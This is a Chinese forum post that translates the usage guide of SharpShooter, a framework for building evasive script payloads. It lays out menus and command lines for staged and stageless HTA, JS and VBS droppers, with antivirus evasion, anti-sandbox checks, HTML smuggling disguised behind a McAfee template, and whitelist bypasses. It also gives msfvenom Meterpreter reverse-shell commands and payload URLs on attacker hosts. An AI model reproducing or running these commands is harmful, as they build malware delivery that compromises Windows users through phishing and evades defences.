找回密码
 注册

QQ登录

只需一步,快速开始

扫一扫,访问微社区

  • QQ空间
  • 回复
  • 收藏

© Arry 管理员   /  2018-7-21 19:33  /   0 人收藏

Payload生成框架:SharpShooter

描述

SharpShooter是一个有效负载创建框架,用于检索和执行任意CSharp源代码。SharpShooter能够以各种格式创建有效载荷,包括HTA,JS,VBS和WSF。它利用James Forshaw的DotNetToJavaScript工具调用SharpShooter DotNet序列化对象的方法。可以使用Web或DNS传送或两者来检索有效负载; SharpShooter与MDSec ActiveBreach PowerDNS项目兼容。或者,也可以为相同的脚本格式生成具有嵌入式shellcode执行的无级有效负载。

SharpShooter有效负载使用随机密钥进行RC4加密,以提供一些适度的反病毒逃避,该项目包括集成沙箱检测和环境键控以协助逃避检测的功能。

SharpShooter包含一个预定义的CSharp模板,用于执行具有分阶段和无阶段有效负载的shellcode,但任何CSharp代码都可以使用反射在内存中进行编译和调用,由CSharp的CodeDom提供程序提供。

最后,SharpShooter提供了使用Demiguise HTML走私技术将有效负载捆绑在HTML文件中的功能。

SharpShooter的目标是.NET框架的v2,v3和v4,它将在大多数最终用户的Windows工作站上找到。

SharpShooter 1.0版引入了几个新概念,包括COM staging,Squiblydoo和Squiblytwo的执行,以及XSL执行。为了完成这个新功能,增加了几个新标志; --com,--awl和--awlurl。

用法 - 交互模式:

SharpShooter有命令行参数和交互式菜单来配置和构建有效负载选项,每个菜单提示如下所述。

Which version of the .NET framework do you want to target?:
[1] v2
[2] v4 (OPSEC WARNING: Uses WScript.Shell)

上面的菜单确定了您要定位的.NET框架的版本。如果您需要定位v3.5,则应选择最兼容的v2选项。您应该知道v4定位使用WScript.Shell来执行有效负载,因此EDR /监控的风险更大,并且可能不一定被视为完全OpSec安全。

Do you want to create a staged payload? i.e. web/DNS delivery (Y/N)n

SharpShooter能够创建分阶段和无阶段的工件。对于分阶段有效负载,将通过DNS或Web检索CSharp文件,编译和执行。在无阶段有效负载的情况下,原始shellcode文件被读取文件系统,base64编码并嵌入在生成的有效负载中。目前无级有效负载不支持任意CSharp执行,但这可能会在将来添加。

Select the type of payload to generate:
[1] HTA
[2] JS
[3] JSE
[4] VBA
[5] VBE
[6] VBS
[7] WSF

上面的菜单选择了您要生成的有效负载类型。目前VBA仅得到部分支持,等待进一步的开发/研究。生成的有效负载将写入“output”文件夹。

The following anti-sandbox techniques are available:
[1] Key to Domain
[2] Ensure Domain Joined
[3] Check for Sandbox Artifacts
[4] Check for Bad MACs
[5] Check for Debugging
[0] Done

SharpShooter包括将反沙箱防御嵌入到有效负载中的功能,这些主要来自CheckPlease项目,但域密钥除外,它允许您将有效负载限制为仅在目标域的域成员上运行。可以选择多种技术,如果满足条件,例如主机未加入域(2),则有效载荷将不会执行。这里的理论是,如果沙箱没有看到不良行为,它将假设你的有效载荷是安全的。

Select the delivery method for the staged payload:
[1] Web Delivery
[2] PowerDNS Delivery
[3] Both

此菜单选项详细说明了将用于执行暂存的方法以及是使用Web传递,DNS还是两者进行此操作。在此过程中,有效负载将从提供的URL中检索CSharp源代码; 源代码是gzip和base64编码。

Do you want to use the builtin shellcode template? Y/N

SharpShooter包含一个用于执行shellcode的基本模板,在这里您可以粘贴x86或x64 shellcode的CSharp字节数组。

在64位系统上,必须将x64 shellcode用于JS / JSE,VBS / VBE和WSF有效负载; 您可以使用类似于以下内容的msfvenom生成它:

msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=172.16.164.203 

LPORT=8080 EnableStageEncoding=True PrependMigrate=True -f csharp
对于32位或处理HTA文件时,shellcode必须是x86,并且可以按如下方式生成:

msfvenom -a x86 -p windows/meterpreter/reverse_http LHOST=172.16.164.203 LPORT=8080 EnableStageEncoding=True StageEncoder=x86/shikata_ga_nai -f csharp

使用Web传送时,SharpShooter将提示您托管CSharp有效负载的位置:
``` Provide URI for CSharp web delivery

在这里,您应该提供您托管output.payload文件的位置的URL。如果您正在使用DNS传送,则应提供运行PowerDNS的分段主机。应该注意的是,如果Web传送失败,SharpShooter将回退到DNS传送,例如,如果您的用户无法在目标环境中发出Web请求。

Do you want to smuggle inside HTML?

当SharpShooter如上提示时,它提供了执行HTML走私攻击的能力。这将采用先前生成的SharpShooter有效负载并将其嵌入到HTML文件中,rc4通过大多数现代浏览器加密和检索。此文件可用于绕过某些代理限制(如MIME类型或扩展名阻止),或通过电子邮件提交有效内容,因为HTML是大多数邮件客户端中允许的附件。SharpShooter包含2个预定义模板; 建议您使用这些作为示例创建自定义模板。

## 用法 - 命令行模式:
SharpShooter具有高度可配置性,支持多种不同的有效载荷类型,沙盒规避,传送方法和输出类型。

使用--help参数运行SharpShooter将产生以下输出:

usage: SharpShooter.py [-h] [--interactive] [--stageless] [--dotnetver <ver>]
[--com <com>] [--awl <awl>] [--awlurl <awlurl>]
[--payload <format>] [--sandbox <types>]
[--delivery <type>] [--rawscfile <path>] [--shellcode]
[--scfile <path>] [--refs <refs>] [--namespace <ns>]
[--entrypoint <ep>] [--web <web>] [--dns <dns>]
[--output <output>] [--smuggle] [--template <tpl>]

optional arguments:
-h, --help          show this help message and exit
--interactive       Use the interactive menu
--stageless         Create a stageless payload
--dotnetver <ver>   Target .NET Version: 2 or 4
--com <com>         COM Staging Technique: outlook, shellbrowserwin, wmi, wscript, xslremote
--awl <awl>         Application Whitelist Bypass Technique: wmic, regsvr32
--awlurl <awlurl>   URL to retrieve XSL/SCT payload
--payload <format>  Payload type: hta, js, jse, vba, vbe, vbs, wsf
--sandbox <types>   Anti-sandbox techniques:
[1] Key to Domain (e.g. 1=CONTOSO)
[2] Ensure Domain Joined
[3] Check for Sandbox Artifacts
[4] Check for Bad MACs
[5] Check for Debugging
--delivery <type>   Delivery method: web, dns, both
--rawscfile <path>  Path to raw shellcode file for stageless payloads
--shellcode         Use built in shellcode execution
--scfile <path>     Path to shellcode file as CSharp byte array
--refs <refs>       References required to compile custom CSharp,
e.g. mscorlib.dll,System.Windows.Forms.dll
--namespace <ns>    Namespace for custom CSharp,
e.g. Foo.bar
--entrypoint <ep>   Method to execute,
e.g. Main
--web <web>         URI for web delivery
--dns <dns>         Domain for DNS delivery
--output <output>   Name of output file (e.g. maldoc)
--smuggle           Smuggle file inside HTML
--template <tpl>    Name of template file (e.g. mcafee)

下面提供了一些用例的示例:

## 无阶段的JavaScript

SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

创建一个针对.NET框架版本4的无阶段JavaScript负载。此示例将在输出目录中创建名为foo.js的有效内容。shellcode是从./raw.txt文件中读取的。有效负载尝试通过将执行键入到CONTOSO域并检查已知的沙箱/ VM工件来强制执行一些沙箱逃避。

## 无阶段HTA

SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

创建一个无阶段的HTA有效负载,目标是.NET框架的第2/3版。此示例将在输出目录中创建名为foo.hta的有效内容。shellcode是从./raw.txt文件中读取的。有效负载尝试通过检查已知的虚拟MAC地址来强制执行某些沙箱逃避。还将在输出目录中生成名为foo.html的HTML走私负载。此有效负载将使用示例McAfee病毒扫描模板。

## 分阶段的VBS

SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

此示例创建一个执行Web和DNS传递的分阶段VBS有效负载。有效负载将尝试检索Gzipped CSharp文件,该文件执行在csharpsc.txt文件中作为CSharp字节数组提供的shellcode。使用的CSharp文件是内置的SharpShooter shellcode执行模板。有效负载在名为foo.payload的输出目录中创建,并应托管在http://www.foo.bar/shellcode.payload上。同样的文件也应该在bar.foo域上托管,使用PowerDNS来提供它。VBS文件将尝试将执行密钥执行到CONTOSO域,并使用HTML病毒扫描模板的HTML走私技术嵌入到HTML文件中。生成的有效负载存储在名为foo.html的输出目录中。

## VBS中的自定义CSharp

SharpShooter.py --dotnetver 2 --payload js --sandbox 2,3,4,5 --delivery web --refs mscorlib.dll,System.Windows.Forms.dll --namespace MDSec.SharpShooter --entrypoint Main --web http://www.phish.com/implant.payload --output malicious --smuggle --template mcafee

此示例演示如何创建执行Web传递的分阶段JS有效负载,从http://www.phish.com/implant.payload检索有效负载。生成的有效负载将尝试沙箱逃避,并尝试编译检索到的有效负载,这需要mscorlib.dll和System.Windows.Forms.dll作为DLL引用。MDSec.SharpShooter命名空间中的Main方法将在成功编译时执行。

## 创建一个Squiblytwo VBS

SharpShooter.py --stageless --dotnetver 2 --payload vbs --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com outlook --awlurl http://192.168.2.8:8080/foo.xsl

此示例创建一个VBS走私的COM stager,它使用Outlook.CreateObject()COM方法作为基元来执行wmic.exe以执行托管样式表。缺省情况下,不使用--awl参数为wmic。

## 创建XSL HTA

SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl


此示例创建一个HTA走私文件,该文件使用XMLDOM COM接口来检索和执行托管样式表。



发表评论
您需要登录后才可以回帖 登录 | 注册